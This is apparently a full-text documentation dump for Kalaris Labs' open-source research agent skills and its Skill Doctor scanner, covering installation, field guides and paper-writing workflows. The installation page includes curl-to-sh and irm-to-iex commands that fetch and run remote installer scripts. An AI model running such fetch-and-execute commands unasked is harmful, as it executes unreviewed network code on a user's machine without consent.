# Use Kalaris Labs docs with AI agents Source: https://docs.kalarislabs.com/ai-tools Give your AI agent the Kalaris Labs documentation as context: install skills from this site, connect the docs MCP server, read llms.txt, or open any page in Claude, ChatGPT or Cursor. This site is built to be read by agents as well as people. Pick the method that fits your tool. ## Install Kalaris skills from this site The site publishes agent skills that teach your agent how to use each Kalaris Labs project. Install them with the skills CLI: ```bash theme={null} npx skills add https://docs.kalarislabs.com ``` | Skill | What it teaches your agent | | - | - | | `research-agent-skills` | Choose and install the right research skills for a task, then verify their output | | `skill-doctor` | Scan agent skills and MCP servers for security issues and read the findings | Agents discover these skills at `https://docs.kalarislabs.com/.well-known/skills/index.json`. These are short guides to each project. To install the research skills themselves, use `npx skills add KalarisLabs/research-agent-skills`. See [installation](/research-agent-skills/getting-started/installation). ## Connect the docs MCP server The docs MCP server lets your agent search these pages while it works. ```bash theme={null} claude mcp add --transport http kalaris-docs https://docs.kalarislabs.com/mcp ``` Add this to your MCP configuration: ```json mcp.json theme={null} { "mcpServers": { "kalaris-docs": { "url": "https://docs.kalarislabs.com/mcp" } } } ``` You can also add the server from the menu at the top of any page: choose the **Cursor** or **VS Code** option. ## Read the docs as plain text | URL | Contents | | - | - | | [`/llms.txt`](https://docs.kalarislabs.com/llms.txt) | Index of every page with a one-line description | | [`/llms-full.txt`](https://docs.kalarislabs.com/llms-full.txt) | Full text of every page in one file | | Any page URL plus `.md` | That page as Markdown, for example [`/skill-doctor.md`](https://docs.kalarislabs.com/skill-doctor.md) | ## Open a page in an AI tool Every page has a menu next to its title. Use it to copy the page as Markdown, or open it directly in Claude, ChatGPT or Perplexity with the page attached. # Kalaris Labs documentation Source: https://docs.kalarislabs.com/index Documentation for Kalaris Labs open-source projects: Research Agent Skills for AI-assisted research and writing, and Skill Doctor, a security scanner for AI agent skills. Kalaris Labs builds open-source infrastructure for AI agents: the skills they use for research, and the tools that check those skills are safe to run. Every project here works with Claude Code, Codex, Cursor, Gemini CLI, GitHub Copilot, OpenCode and Windsurf. ## Set up with your agent Paste this prompt into your coding agent. It installs the right project for your repository and checks the result. ```markdown setup-prompt.md theme={null} You are setting up Kalaris Labs tools in this project. Docs: https://docs.kalarislabs.com Full page index for agents: https://docs.kalarislabs.com/llms.txt Step 1: Read this repository and tell me what it contains (papers, data analysis, agent skills, other). Step 2: Recommend one or both of these, with one line on why for this repo: - Research Agent Skills: skills for academic writing, literature review, citation checks and scientific data analysis. Install: npx skills add KalarisLabs/research-agent-skills - Skill Doctor: an offline security scanner for agent skills and MCP servers. Scan: npx @security.kalarislabs/skill-doctor scan-all . Step 3: Wait for my approval before installing anything or changing files. Step 4: After installing, run one small task that proves it works and show me the output. ``` ```bash Research Agent Skills theme={null} npx skills add KalarisLabs/research-agent-skills ``` ```bash Skill Doctor theme={null} npx @security.kalarislabs/skill-doctor scan-all . ``` ## Choose a project 280+ open-source agent skills for manuscripts, theses, systematic reviews, citation checks and scientific data analysis across ML, biology, chemistry, medicine and physics. A deterministic, offline-first security scanner for agent skills, tools and MCP servers. Catches prompt injection, command injection and data exfiltration before a skill loads. ## Find the right page | What I want to do | Best option | | - | - | | Write or revise a paper with an AI agent | [Write a research paper](/research-agent-skills/guides/write-a-research-paper) | | Write a thesis or dissertation | [Thesis and dissertation guide](/research-agent-skills/guides/thesis-and-dissertation) | | Run a systematic review and verify citations | [Systematic review guide](/research-agent-skills/guides/systematic-review) | | Find databases and packages for my field | [Skills by field](/research-agent-skills/guides/by-field) | | Install only the research skills I need | [Installation](/research-agent-skills/getting-started/installation) | | Check a skill before I install it | [Skill Doctor quickstart](/skill-doctor/getting-started/quickstart) | | Have my agent audit skills on its own | [Skill Doctor as an MCP server](/skill-doctor/guides/mcp-server) | | Block risky skills in pull requests | [Skill Doctor in CI](/skill-doctor/guides/ci) | | Give my agent these docs as context | [Use these docs with AI](/ai-tools) | ## Explore Papers, theses, systematic reviews and writing without AI slop. Every research skill, grouped by category. How research skills are scored and evaluated. The 11 risks Skill Doctor detects, SD-01 to SD-11. Skill Doctor commands, flags and exit codes. Check signatures and checksums before you run a binary. ## Next steps * [Research Agent Skills quickstart](/research-agent-skills/getting-started/quickstart): install one skill and verify a bibliography. * [Skill Doctor quickstart](/skill-doctor/getting-started/quickstart): scan your first skill in under a minute. * [Use these docs with AI](/ai-tools): connect the docs MCP server or install Kalaris skills from this site. * [GitHub](https://github.com/KalarisLabs): source, issues and releases for every project. # FAQ | Research Agent Skills Source: https://docs.kalarislabs.com/research-agent-skills/faq Answers about using AI agent skills for academic research, including hallucinated citations, AI slop, journal formatting, data privacy, supported agents and academic integrity. # Frequently asked questions ### What are agent skills? Folders of instructions (`SKILL.md`), references and scripts that an AI agent loads when a task needs them. They follow the open [Agent Skills specification](https://agentskills.io) and work in Claude Code, Codex, Cursor, Gemini CLI, GitHub Copilot, OpenCode, Windsurf and Claude.ai. ### Can AI write my research paper? It can help you write it faster: outlining, drafting from your results, editing, formatting and checking references. You remain the author. Every claim, number and citation must be yours and verified. See [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper). ### How do I stop AI from inventing citations? Never accept references written from memory. Export them from publishers or Crossref, then run `citation-verification`, which checks each entry against Crossref, OpenAlex and arXiv and flags fabricated or mismatched references. ### How do I make AI-assisted writing not sound like AI? Use `unslop-academic-writing`. It finds stock phrasing, empty emphasis, stacked hedges and monotone rhythm, and it rewrites toward specific, evidence-backed prose in your own voice. It improves writing and is not a way to hide AI use. ### Is this allowed by journals and universities? Most publishers allow AI assistance with disclosure and forbid AI authorship, and universities set their own rules for theses. Check the current policy of your venue or institution. `reproducibility-statement` covers disclosure statements. ### Does anything leave my computer? Skills are local files. Some scripts query public scholarly APIs (Crossref, OpenAlex, arXiv, PubMed) or services you configure with your own key. Allowed domains are reviewed. The installer has no telemetry. Your agent's own data handling is governed by its provider. ### Which skills should I install? Start with `npx skills add KalarisLabs/research-agent-skills` and choose the skills for your research task. Installing everything works but places every skill description in your agent's context. ### Is there an npm package? No. `npx skills` is the open skills.sh CLI, which installs straight from the GitHub repository. There is no `research-agent-skills` package on the npm registry, and any package using that name is not ours. Other ways to install are the Claude Code plugin marketplace, `gh skill install` and the checksum-verified `install.sh` and `install.ps1` scripts ([installation guide](/research-agent-skills/getting-started/installation)). ### How do you know the skills are any good? Every skill is scored by a static rubric, a trigger-routing benchmark and with-vs-without-skill task evaluations, and the citation and slop tools have their own benchmarks. See [Benchmarks and quality](/research-agent-skills/reference/benchmarks). ### How do I cite this project? Use GitHub's "Cite this repository" button (from `CITATION.cff`) or the BibTeX in the README. # AI research skills for agents and language models Source: https://docs.kalarislabs.com/research-agent-skills/fields/artificial-intelligence Agent skills for LLM evaluation, interpretability, safety checks and clear AI research reporting. # Artificial intelligence research For agent and language-model studies, define the behavior you want to measure before asking an agent to run or summarize evaluations. Preserve prompts, model versions, judge settings and raw outputs so a reader can reproduce your conclusions. | Task | Skill | Starting point | | - | - | - | | Compare model or agent behavior | [`evaluating-llms-harness`](/research-agent-skills/skills/evaluating-llms-harness) | Define cases, metrics and human review criteria | | Inspect model mechanisms | [`transformer-lens-interpretability`](/research-agent-skills/skills/transformer-lens-interpretability) | State a hypothesis and select an interpretable model | | Assess adversarial inputs | [`prompt-guard`](/research-agent-skills/skills/prompt-guard) | Include benign and attack examples, plus false positive checks | | Report an AI study | [`ml-paper-writing`](/research-agent-skills/skills/ml-paper-writing) | Provide methods, ablations and uncertainty estimates | ```bash theme={null} npx skills add KalarisLabs/research-agent-skills --skill evaluating-llms-harness ``` Try: “Design an evaluation for our retrieval agent using the cases in `evals/`. Specify failure categories, scoring rules and which results require a human reviewer.” For training and reproducibility, see [machine learning research](/research-agent-skills/fields/machine-learning). # Biology and bioinformatics research skills Source: https://docs.kalarislabs.com/research-agent-skills/fields/biology Agent skills for single-cell analysis, differential expression and biological database research. # Biology and bioinformatics research Start with the biological question, sample design and data provenance. For single-cell work, record quality-control thresholds and batch handling before interpreting clusters or marker genes. | Task | Skill | Evidence to inspect | | - | - | - | | Explore single-cell RNA-seq | [`scanpy`](/research-agent-skills/skills/scanpy) | Count matrix, metadata and quality-control plots | | Model batch effects and latent structure | [`scvi-tools`](/research-agent-skills/skills/scvi-tools) | Batch labels, model assumptions and diagnostics | | Test differential expression | [`pydeseq2`](/research-agent-skills/skills/pydeseq2) | Replicates, design formula and adjusted p-values | | Resolve genes and related records | [`gget`](/research-agent-skills/skills/gget) | Species, assembly and database identifiers | | Query public cell atlases | [`cellxgene-census`](/research-agent-skills/skills/cellxgene-census) | Dataset version and cell-selection criteria | ```bash theme={null} npx skills add KalarisLabs/research-agent-skills --skill scanpy ``` Try: “Review this AnnData object and propose a single-cell QC workflow. Explain each threshold and save plots before filtering.” Validate gene annotations and statistical conclusions against the underlying data. For a review of the literature, use the [systematic review workflow](/research-agent-skills/guides/systematic-review). # Chemistry and molecular research skills Source: https://docs.kalarislabs.com/research-agent-skills/fields/chemistry Agent skills for cheminformatics, molecular machine learning, simulation and materials research. # Chemistry and molecular research Choose tools by representation and experimental question: molecules, simulations or crystal structures. Record units, stereochemistry, parameter settings and data sources so results can be checked independently. | Task | Skill | What to check | | - | - | - | | Clean and describe molecules | [`rdkit`](/research-agent-skills/skills/rdkit) | SMILES validity, stereochemistry and descriptor definitions | | Prepare molecular datasets | [`datamol`](/research-agent-skills/skills/datamol) | Standardization, duplicates and train/test leakage | | Fit molecular prediction models | [`deepchem`](/research-agent-skills/skills/deepchem) | Split strategy, target labels and external validation | | Set up a simulation | [`molecular-dynamics`](/research-agent-skills/skills/molecular-dynamics) | Force field, units, equilibration and convergence | | Analyze materials | [`pymatgen`](/research-agent-skills/skills/pymatgen) | Structure provenance and calculation settings | ```bash theme={null} npx skills add KalarisLabs/research-agent-skills --skill rdkit ``` Try: “Inspect `compounds.csv`, flag invalid or duplicate structures, and propose descriptors for a baseline model. Do not change the source file.” For reporting, add [scientific writing](/research-agent-skills/skills/scientific-writing) after the analysis is verified. # Machine learning research skills Source: https://docs.kalarislabs.com/research-agent-skills/fields/machine-learning Select agent skills for ML experiments, model evaluation, reproducibility and conference paper writing. # Machine learning research Use a skill that matches the stage of your experiment. Keep datasets, training code and metrics as the source of truth; ask the agent to identify missing evidence before it drafts claims. | Task | Skill | What to provide | | - | - | - | | Plan or report a model evaluation | [`evaluating-llms-harness`](/research-agent-skills/skills/evaluating-llms-harness) | Task definitions, evaluation set and scoring rules | | Train across multiple GPUs | [`pytorch-fsdp2`](/research-agent-skills/skills/pytorch-fsdp2) | Model, hardware, checkpoint and memory constraints | | Write a conference paper | [`ml-paper-writing`](/research-agent-skills/skills/ml-paper-writing) | Results, baselines, figures and target venue | | Document repeatability | [`reproducibility-statement`](/research-agent-skills/skills/reproducibility-statement) | Seeds, splits, compute budget, code and data access | Install one skill into your current project: ```bash theme={null} npx skills add KalarisLabs/research-agent-skills --skill ml-paper-writing ``` Try: “Use the results in `runs/` and the comparison table to outline an ML paper. Mark every claim that needs another experiment.” Check the current venue requirements before submission. For interpretability work, also see [AI research](/research-agent-skills/fields/artificial-intelligence). # Medical and clinical research skills Source: https://docs.kalarislabs.com/research-agent-skills/fields/medicine Agent skills for DICOM imaging, pathology, health datasets and evidence synthesis in medical research. # Medical and clinical research These skills support research workflows. Check your institution's data rules before giving an agent access to patient information, and review clinical interpretations with qualified domain experts. | Task | Skill | Research starting point | | - | - | - | | Inspect imaging metadata | [`pydicom`](/research-agent-skills/skills/pydicom) | Use de-identified DICOM files and verify pixel handling | | Analyze pathology images | [`pathml`](/research-agent-skills/skills/pathml) | Document stain, scanner and slide-level split | | Work with health ML datasets | [`pyhealth`](/research-agent-skills/skills/pyhealth) | Define cohort, outcome and leakage controls | | Structure a research report | [`clinical-reports`](/research-agent-skills/skills/clinical-reports) | Provide verified findings and intended audience | | Plan an evidence review | [`systematic-review-prisma`](/research-agent-skills/skills/systematic-review-prisma) | Specify question, eligibility and search strategy | ```bash theme={null} npx skills add KalarisLabs/research-agent-skills --skill systematic-review-prisma ``` Try: “Draft a PRISMA protocol for this research question. List databases, screening rules and outcomes before any search begins.” Continue with the [systematic review guide](/research-agent-skills/guides/systematic-review) and [citation verification](/research-agent-skills/skills/citation-verification). # Physics and physical sciences research skills Source: https://docs.kalarislabs.com/research-agent-skills/fields/physics Agent skills for astronomy, quantum computing, materials analysis and geospatial research. # Physics and physical sciences research Choose the skill that fits your data and computational model. Ask the agent to preserve units, coordinate systems, uncertainty and software versions in every analysis. | Task | Skill | What to provide | | - | - | - | | Analyze astronomical data | [`astropy`](/research-agent-skills/skills/astropy) | Observation metadata, units and reference frame | | Explore quantum circuits | [`qiskit`](/research-agent-skills/skills/qiskit) | Circuit, backend, shots and noise assumptions | | Work with crystal structures | [`pymatgen`](/research-agent-skills/skills/pymatgen) | Structure file and calculation provenance | | Analyze spatial data | [`geopandas`](/research-agent-skills/skills/geopandas) | Geometry, projection and measurement scale | ```bash theme={null} npx skills add KalarisLabs/research-agent-skills --skill astropy ``` Try: “Inspect these FITS files and outline a reproducible photometry workflow. Check units and coordinate frames before calculating results.” For manuscript preparation, see the [paper writing guide](/research-agent-skills/guides/write-a-research-paper). # Install Research Agent Skills Source: https://docs.kalarislabs.com/research-agent-skills/getting-started/installation Install all 280+ research agent skills, or only the ones you need, in Claude Code, Codex, Cursor, Gemini CLI, Copilot, OpenCode and Windsurf with one skills.sh command, GitHub CLI, the Claude Code marketplace or a checksum-verified shell installer. # Installation ## Install now with skills.sh ```bash theme={"system"} npx skills add KalarisLabs/research-agent-skills npx skills add KalarisLabs/research-agent-skills --list ``` The first command lets you choose skills and agent harnesses; the second lists all available skills. The skills.sh CLI installs into the current project by default. Add `--global` for your user account. It supports Claude Code, Codex, Cursor, Gemini CLI, GitHub Copilot, OpenCode, Windsurf and other Agent Skills consumers. Tool permissions and advanced metadata can differ by harness. ## Install everything, or only what you need | Goal | Command | | - | - | | Every skill, every detected agent | `npx skills add KalarisLabs/research-agent-skills --all` | | Specific skills | `npx skills add KalarisLabs/research-agent-skills --skill citation-verification apa7` | | Every skill for one agent | `npx skills add KalarisLabs/research-agent-skills --skill '*' --agent codex` | | User-wide instead of this project | add `--global` | | No prompts (CI, scripts) | add `--yes` | | Update later | `npx skills update` | ## Curated research bundles Field bundles install as Claude Code plugins: ```text theme={"system"} /plugin marketplace add KalarisLabs/research-agent-skills /plugin install biology-research@research-agent-skills ``` Without Claude Code, the checksum-verified standalone installer takes the same bundle names: ```bash theme={"system"} curl -fsSL https://raw.githubusercontent.com/KalarisLabs/research-agent-skills/main/install.sh | RAS_BUNDLE=biology-research sh ``` The curated bundles are `research-essentials`, `ml-research`, `ai-research`, `biology-research`, `chemistry-research`, `medicine-research` and `physics-research`. Every category is also a bundle (for example `literature-review`). Use individual skill names when a bundle is too broad. > **Not on npm.** There is no `research-agent-skills` package on the npm registry. `npx skills` runs the > open skills.sh CLI, which installs straight from this GitHub repository. ## Alternatives | Method | Command | | - | - | | skills.sh (Vercel) | `npx skills add KalarisLabs/research-agent-skills --list`, then `npx skills add KalarisLabs/research-agent-skills --skill citation-verification` | | GitHub CLI | `gh skill install KalarisLabs/research-agent-skills [skill]` | | Claude Code | `/plugin marketplace add KalarisLabs/research-agent-skills` → `/plugin install research-essentials@research-agent-skills` | | No Node.js (macOS/Linux) | `curl -fsSL https://raw.githubusercontent.com/KalarisLabs/research-agent-skills/main/install.sh \| sh` | | No Node.js (Windows) | `irm https://raw.githubusercontent.com/KalarisLabs/research-agent-skills/main/install.ps1 \| iex` | Installer options via environment variables: `RAS_VERSION`, `RAS_BUNDLE` (bundle or category, or `all`), `RAS_HARNESS`. The standalone installers also default to global user directories. Vercel's skills CLI has its own scope prompts and flags; review its choice before installing. ## skills.sh discovery The [collection skill](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/research-agent-skills/SKILL.md) indexes all 280 specialist skills. Each specialist remains separately installable. To install the entire collection into this project for Codex, run: ```sh theme={"system"} npx skills add KalarisLabs/research-agent-skills --skill '*' --agent codex --yes ``` Use another agent name if appropriate, or add `--global` for a user-wide install. The public repository's `skills//SKILL.md` folders are discoverable by the Vercel skills CLI. The directory page lists skills it has seen through CLI installs. The root `skills.sh.json` groups those entries by audience; it does not submit unseen skills. Run `npx skills add KalarisLabs/research-agent-skills --list` to verify repository discovery. [Browse the directory listing](https://skills.sh/kalarislabs/research-agent-skills). The directory's rankings use the CLI's anonymous install telemetry. ## Python for skill scripts Skills with a `scripts/` folder run Python 3.9+ (many are standard-library only). For skills with dependencies, install [uv](https://docs.astral.sh/uv/). `npx skills list` shows what is installed where. # Quickstart | Install your first research agent skill Source: https://docs.kalarislabs.com/research-agent-skills/getting-started/quickstart Install one Kalaris Labs skill with skills.sh, try a citation-checking task, then find skills for your academic field. # Quickstart: use your first research skill Start with one task and one skill. You can add more after you see how your agent uses it. In a project with a bibliography, run: ```bash theme={null} npx skills add KalarisLabs/research-agent-skills --skill citation-verification ``` The skills.sh installer lets you select an agent harness. It installs into this project by default; use `--global` if you want the skill available across projects. Restart your agent if it was open during installation. Open your agent in the project and ask: > Verify every reference in `refs.bib`. Separate confirmed, mismatched and unverified entries, > and show the scholarly record used for each decision. Replace `refs.bib` with your own reference file. Check the cited records before using the result in a manuscript; a missing match is not proof that a paper does not exist. List every available skill, then pick another one that matches your next task: ```bash theme={null} npx skills add KalarisLabs/research-agent-skills --list ``` See [skills by discipline](/research-agent-skills/guides/by-field) for starting points in ML, AI, biology, chemistry, medicine and physics, or [browse all 281 skills](/research-agent-skills/skills). ## More first tasks | Your next task | Skill to install | Example request | | - | - | - | | Revise academic prose | [`unslop-academic-writing`](/research-agent-skills/skills/unslop-academic-writing) | “Revise this introduction in my voice without changing its claims.” | | Draft from results | [`scientific-writing`](/research-agent-skills/skills/scientific-writing) | “Draft Results from `results/` and the figures in `figs/`; mark any missing evidence.” | | Plan a systematic review | [`systematic-review-prisma`](/research-agent-skills/skills/systematic-review-prisma) | “Draft a PRISMA 2020 protocol and screening plan for this question.” | | Prepare a preprint | [`arxiv-submission`](/research-agent-skills/skills/arxiv-submission) | “Check this LaTeX folder for arXiv submission problems.” | The agent normally selects a skill from your task. You can name the skill when you want to be explicit. For installation scope, harness support and other methods, see the [installation guide](/research-agent-skills/getting-started/installation). # Research agent skills by discipline Source: https://docs.kalarislabs.com/research-agent-skills/guides/by-field Find academic agent skills for machine learning, AI, biology, chemistry, medicine and physics, with example tasks and installation commands. # Find skills for your research field Start with the methods and data in your project. Each field guide pairs specific skills with a first task and the evidence to check before using the output in a paper. Experiments, evaluation, reproducibility and conference papers. Language models, agents, interpretability and safety evaluations. Single-cell data, differential expression and biological records. Molecules, chemical datasets, simulations and materials. Medical imaging, clinical research datasets and evidence synthesis. Astronomy, quantum computing, materials and spatial data. ## Start with a specific skill The [quickstart](/research-agent-skills/getting-started/quickstart) shows a project install and a citation-checking task. Substitute any skill name from a field guide: ```bash theme={null} npx skills add KalarisLabs/research-agent-skills --skill scanpy ``` The installer asks which agent harness to use. By default, skills are installed into the current project; add `--global` for your user account. [Installation options](/research-agent-skills/getting-started/installation) cover other harnesses and methods. ## Across disciplines For research design and statistical analysis, explore [experimental design](/research-agent-skills/skills/experimental-design), [statistical power](/research-agent-skills/skills/statistical-power), [statistical analysis](/research-agent-skills/skills/statistical-analysis) and [APA 7 writing](/research-agent-skills/skills/apa7). Lab automation users can start with [Opentrons integration](/research-agent-skills/skills/opentrons-integration) or [PyLabRobot](/research-agent-skills/skills/pylabrobot), then verify any generated protocol before running equipment. For literature discovery, [Firecrawl Research Index](/research-agent-skills/skills/firecrawl-research-index) searches a hosted paper corpus; [paper corpus RAG](/research-agent-skills/skills/paper-corpus-rag) works with your own PDFs. Use [citation verification](/research-agent-skills/skills/citation-verification) before submitting references. [Browse all 281 skills](/research-agent-skills/skills) if your field or method is not listed here. # No-slop academic writing | make AI-assisted research papers read like a human expert wrote them Source: https://docs.kalarislabs.com/research-agent-skills/guides/no-slop-academic-writing How the unslop-academic-writing skill detects AI slop in academic prose (stock phrasing, empty emphasis, hedge stacks, monotone rhythm) and rewrites toward specific, evidence-backed writing in the author's voice. # No-slop academic writing "AI slop" is fluent text that says less than it seems to: *delves into the intricate tapestry*, *plays a pivotal role*, *it is important to note that*, three stacked hedges, and every sentence the same length. Reviewers recognize it immediately and trust the paper less. The `unslop-academic-writing` skill fixes this with a linter and an editing playbook. ## How it works 1. **Measure.** `python scripts/slop_check.py draft.tex` ignores math, citations and code, then reports each problem with a line number and rewrite hint, plus a slop index (under 5 is clean, over 30 is severe). 2. **Fix content before words.** Replace vague claims with numbers, tie claims to evidence, and cut paragraphs that restate the field. 3. **Fix the words.** Delete framing phrases, replace stock vocabulary, keep one hedge sized to the evidence, and use normal punctuation. 4. **Keep your voice.** The skill calibrates to a sample of your own writing and your discipline's norms. 5. **Re-measure and read aloud.** ## What it detects | Category | Examples | | - | - | | Chat residue | "Certainly!", "Here is a revised version", "As an AI language model" | | Stock vocabulary | delve, tapestry, realm, pivotal role, underscores the importance, leverage, showcase | | Promotional / empty emphasis | groundbreaking, unprecedented, remarkably, truly | | Unsupported "significant" | "significantly better" with no statistical test nearby | | Filler and signposting | "It is important to note that", "In order to", "In conclusion," | | Constructions | "not only X but also Y", "it's not X, it's Y" | | Hedge stacks | "may potentially", "could possibly suggest" | | Rhythm | uniform sentence and paragraph lengths, transition-word openers, em-dash pileups | ## Does it work? See the slop benchmark on the [benchmarks page](/research-agent-skills/reference/benchmarks). In short: with the skill in context, model-written abstracts had a much lower slop index and more of them scored "clean". The linter is a checklist for recognizable slop, **not an AI detector**, and it cannot tell careful modern model output from human writing. !!! note "Integrity" This skill improves clarity and authorship. It is not a tool for hiding AI use. Follow your venue's disclosure policy. # Systematic reviews and meta-analyses with AI agents (PRISMA 2020) Source: https://docs.kalarislabs.com/research-agent-skills/guides/systematic-review Run a reproducible systematic review with AI agents, covering protocol registration, database search strings, deduplication, screening, risk of bias, synthesis, the PRISMA 2020 flow diagram and checklist. # Systematic reviews with PRISMA 2020 The `systematic-review-prisma` skill guides an agent through a review that another team could reproduce, and its scripts keep the numbers consistent. ## Steps 1. **Protocol**: PICO question, eligibility criteria, outcomes, and registration on PROSPERO or OSF before screening. 2. **Search**: one concept block per PICO element, translated per database (PubMed, Embase, Scopus, Web of Science), with dates and hit counts recorded. 3. **Deduplicate**: `python scripts/dedupe_records.py pubmed.ris scopus.csv wos.bib -o screening.csv --summary counts.json` 4. **Screen**: two independent reviewers, reasons for full-text exclusion, and agreement reported. AI-assisted screening must be validated and never the sole reviewer. 5. **Extract and appraise**: RoB 2, ROBINS-I, QUADAS-2 or other tools matched to design. GRADE certainty per outcome. 6. **Synthesize**: a random-effects meta-analysis when appropriate, otherwise SWiM. 7. **Report**: `python scripts/prisma_flow.py counts.json` draws the PRISMA 2020 flow diagram and refuses arithmetic that doesn't add up. Complete the 27-item checklist. ## Helpful companions `literature-review` (search), `citation-verification` (check included studies' records), `research-knowledge-graph` (citation snowballing), `statistical-analysis` (meta-analysis methods), `plos` or your journal's format skill, and `reproducibility-statement` (data and protocol availability). [`firecrawl-research-index`](/research-agent-skills/skills/firecrawl-research-index) can help discover additional papers and citation neighbors; record its query and date as a supplementary search source. # Writing a PhD thesis or dissertation with AI agents Source: https://docs.kalarislabs.com/research-agent-skills/guides/thesis-and-dissertation How PhD and master's students can use research agent skills to plan, write, cite and format a thesis or dissertation responsibly, including literature review chapters, APA or LaTeX formatting and removing AI slop. # Thesis and dissertation writing A thesis is long, cumulative and judged on your own intellectual contribution. Use agents for structure, consistency, literature management and editing. The ideas, analyses and final wording must be yours, and your university's AI policy applies. ## Chapter plan | Chapter | Skills that help | | - | - | | Literature review | `literature-review`, `systematic-review-prisma` (for systematic chapters), `research-knowledge-graph` (map the field), `paper-corpus-rag` (search your PDFs with citations) | | Methods | `experimental-design`, `statistical-power`, `statistical-analysis`, domain skills for your data | | Results | `scientific-visualization`, `matplotlib`/`seaborn`, `statistical-analysis` | | Published-paper chapters | journal-format skills, `reproducibility-statement` | | Discussion and conclusion | `scientific-critical-thinking`, `unslop-academic-writing` | | References across chapters | `reference-manager-interop` (Zotero/Mendeley), `bibtex-hygiene`, `citation-verification` | ## Workflow 1. **Get the rules.** Graduate school formatting guide, citation style (often APA 7 in social sciences, numbered in STEM), word limits, AI-use policy, and whether published papers can be included as chapters. 2. **Set up one reference library** (Zotero with Better BibTeX recommended) and one `.bib`, auto-exported, for all chapters. 3. **Write chapter by chapter** with the agent as an editor: outline → your draft → agent feedback on structure, clarity and consistency of terminology across chapters. 4. **Keep your voice.** Give `unslop-academic-writing` a sample of your own earlier writing so edits stay in your style. 5. **Verify every reference** before each supervisor draft (`citation-verification`). 6. **Format** with the university LaTeX class or Word template. For APA theses use the `apa7` skill. ## Integrity checklist * [ ] AI use is permitted for this purpose by your institution and disclosed as required * [ ] Every claim and number traces to your data or a verified source * [ ] No passage is copied from sources without quotation and citation * [ ] Your supervisor has seen the chapters in your own words # How to write a research paper with AI agents (without slop or fake citations) Source: https://docs.kalarislabs.com/research-agent-skills/guides/write-a-research-paper A step-by-step workflow for writing a journal or conference paper with Claude Code, Codex or Cursor using research agent skills, from outline to submission, with citation verification and no AI slop. # Write a research paper with AI agents AI agents can speed up every stage of a paper, but they also invent references, inflate claims and produce recognizable "AI prose". This workflow keeps you, the author, in control and uses skills to enforce the checks that stop those failures. ## The workflow 1. **Collect the evidence first.** Put results tables, figures, analysis notebooks and your notes in one folder. Ask the agent to summarize what the data shows *before* any drafting (`scientific-critical-thinking`, `statistical-analysis`). 2. **Outline the argument.** Ask for a one-sentence contribution, then a section outline in which every paragraph has one claim and its supporting figure or table (`scientific-writing`, or `ml-paper-writing` for ML venues). 3. **Draft section by section.** Start with Methods and Results, then Discussion, then Introduction, and write the Abstract and Title last (`abstract-and-title`). Review each section before moving on. 4. **Cite from real records only.** Find papers with `literature-review` / `paper-lookup`, or use [`firecrawl-research-index`](/research-agent-skills/skills/firecrawl-research-index) for hosted discovery and passage reads. Export BibTeX from the publisher or Crossref, and never let the agent write a reference from memory. 5. **Verify every citation.** Run `citation-verification` on the `.bib`. Fix or remove anything flagged `mismatch`, `doi-not-found` or `not-found`. Then check that each cited paper supports its sentence. 6. **Clean the bibliography.** `bibtex-hygiene` removes duplicates, fixes DOIs and protects acronym capitalization. 7. **Remove the slop.** Run `unslop-academic-writing`: fix content (vague claims, missing numbers) before words. Aim for a slop index under 5 in the abstract and introduction. 8. **Format for the venue.** Use the journal skill (`nature-portfolio`, `science-aaas`, `cell-press`, `ieee-transactions`, `acm-sigconf`, `elsevier-cas`, `springer-lncs`, `plos`, `apa7`) or `venue-templates`. The skill makes the agent read the current author guidelines. 9. **Prepare the statements.** `reproducibility-statement` covers data and code availability, checklists, CRediT and AI-use disclosure. 10. **Submit.** `cover-letter-to-editor` for the letter and reviewer suggestions, and `arxiv-submission` for the preprint. 11. **Revise.** `rebuttal-and-response-to-reviewers` triages the reviews and drafts point-by-point responses. ## Rules that protect you * The author is responsible for every sentence. Read everything the agent writes. * Disclose AI assistance as your venue requires. Never list an AI as an author. * Never let an agent invent data, results, statistics or references. * Keep your analysis reproducible: the numbers in the text must come from code you can rerun. ## Related guides [Thesis and dissertation](/research-agent-skills/guides/thesis-and-dissertation) · [No-slop academic writing](/research-agent-skills/guides/no-slop-academic-writing) · [Systematic reviews](/research-agent-skills/guides/systematic-review) # AI agent skills for scientific research and writing | Kalaris Labs Source: https://docs.kalarislabs.com/research-agent-skills/index Open-source AI agent skills for academic writing, literature reviews, citations and scientific data analysis in biology, chemistry, medicine, physics, social science and machine learning. # Research Agent Skills Research Agent Skills by Kalaris Labs **Open-source AI agent skills for researchers, students and labs.** Use them for manuscripts, theses, grant proposals, systematic reviews, reviewer responses and scientific data analysis. Skills help you revise prose in your own voice and verify references against scholarly records. Built for academia across machine learning, AI, biology, chemistry, medicine and physics. ```bash theme={null} npx skills add KalarisLabs/research-agent-skills ``` Created by **Sayan Chowdhury** at **Kalaris Labs** · MIT licensed. Choose the skills and agent harnesses you need for this project, or add `--global` for your user account. [See installation options](/research-agent-skills/getting-started/installation) for Claude Code, OpenAI Codex, Cursor, Gemini CLI, GitHub Copilot, OpenCode and Windsurf. ## Choose a research workflow | Goal | Guide or skill | | - | - | | Write a research paper or thesis | [Paper writing guide](/research-agent-skills/guides/write-a-research-paper), [thesis and dissertation guide](/research-agent-skills/guides/thesis-and-dissertation) | | Search literature and verify citations | [Systematic review guide](/research-agent-skills/guides/systematic-review), [`citation-verification`](/research-agent-skills/skills/citation-verification) | | Discover papers across arXiv and life sciences | [`firecrawl-research-index`](/research-agent-skills/skills/firecrawl-research-index) for hosted search and passage reads | | Analyze data in your discipline | [Skills by field](/research-agent-skills/guides/by-field), [full skill catalog](/research-agent-skills/skills) | | Prepare a submission | [`arxiv-submission`](/research-agent-skills/skills/arxiv-submission), [`rebuttal-and-response-to-reviewers`](/research-agent-skills/skills/rebuttal-and-response-to-reviewers) | ## Built for academics | If you are... | Start with | | - | - | | A PhD student writing a thesis or first paper | [Thesis and dissertation guide](/research-agent-skills/guides/thesis-and-dissertation), `scientific-writing`, `unslop-academic-writing`, `apa7` or your journal's format skill | | A researcher submitting to a journal | [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper), `nature-portfolio`, `cell-press`, `ieee-transactions` and the other journal-format skills, `cover-letter-to-editor` | | Running a systematic review or meta-analysis | [Systematic review guide](/research-agent-skills/guides/systematic-review), `systematic-review-prisma`, `citation-verification` | | An ML researcher | `ml-paper-writing` (NeurIPS/ICML/ICLR/ACL templates), `arxiv-submission`, the `ml-training` and `ml-evaluation-and-safety` categories | | In the life, chemical, clinical or physical sciences | 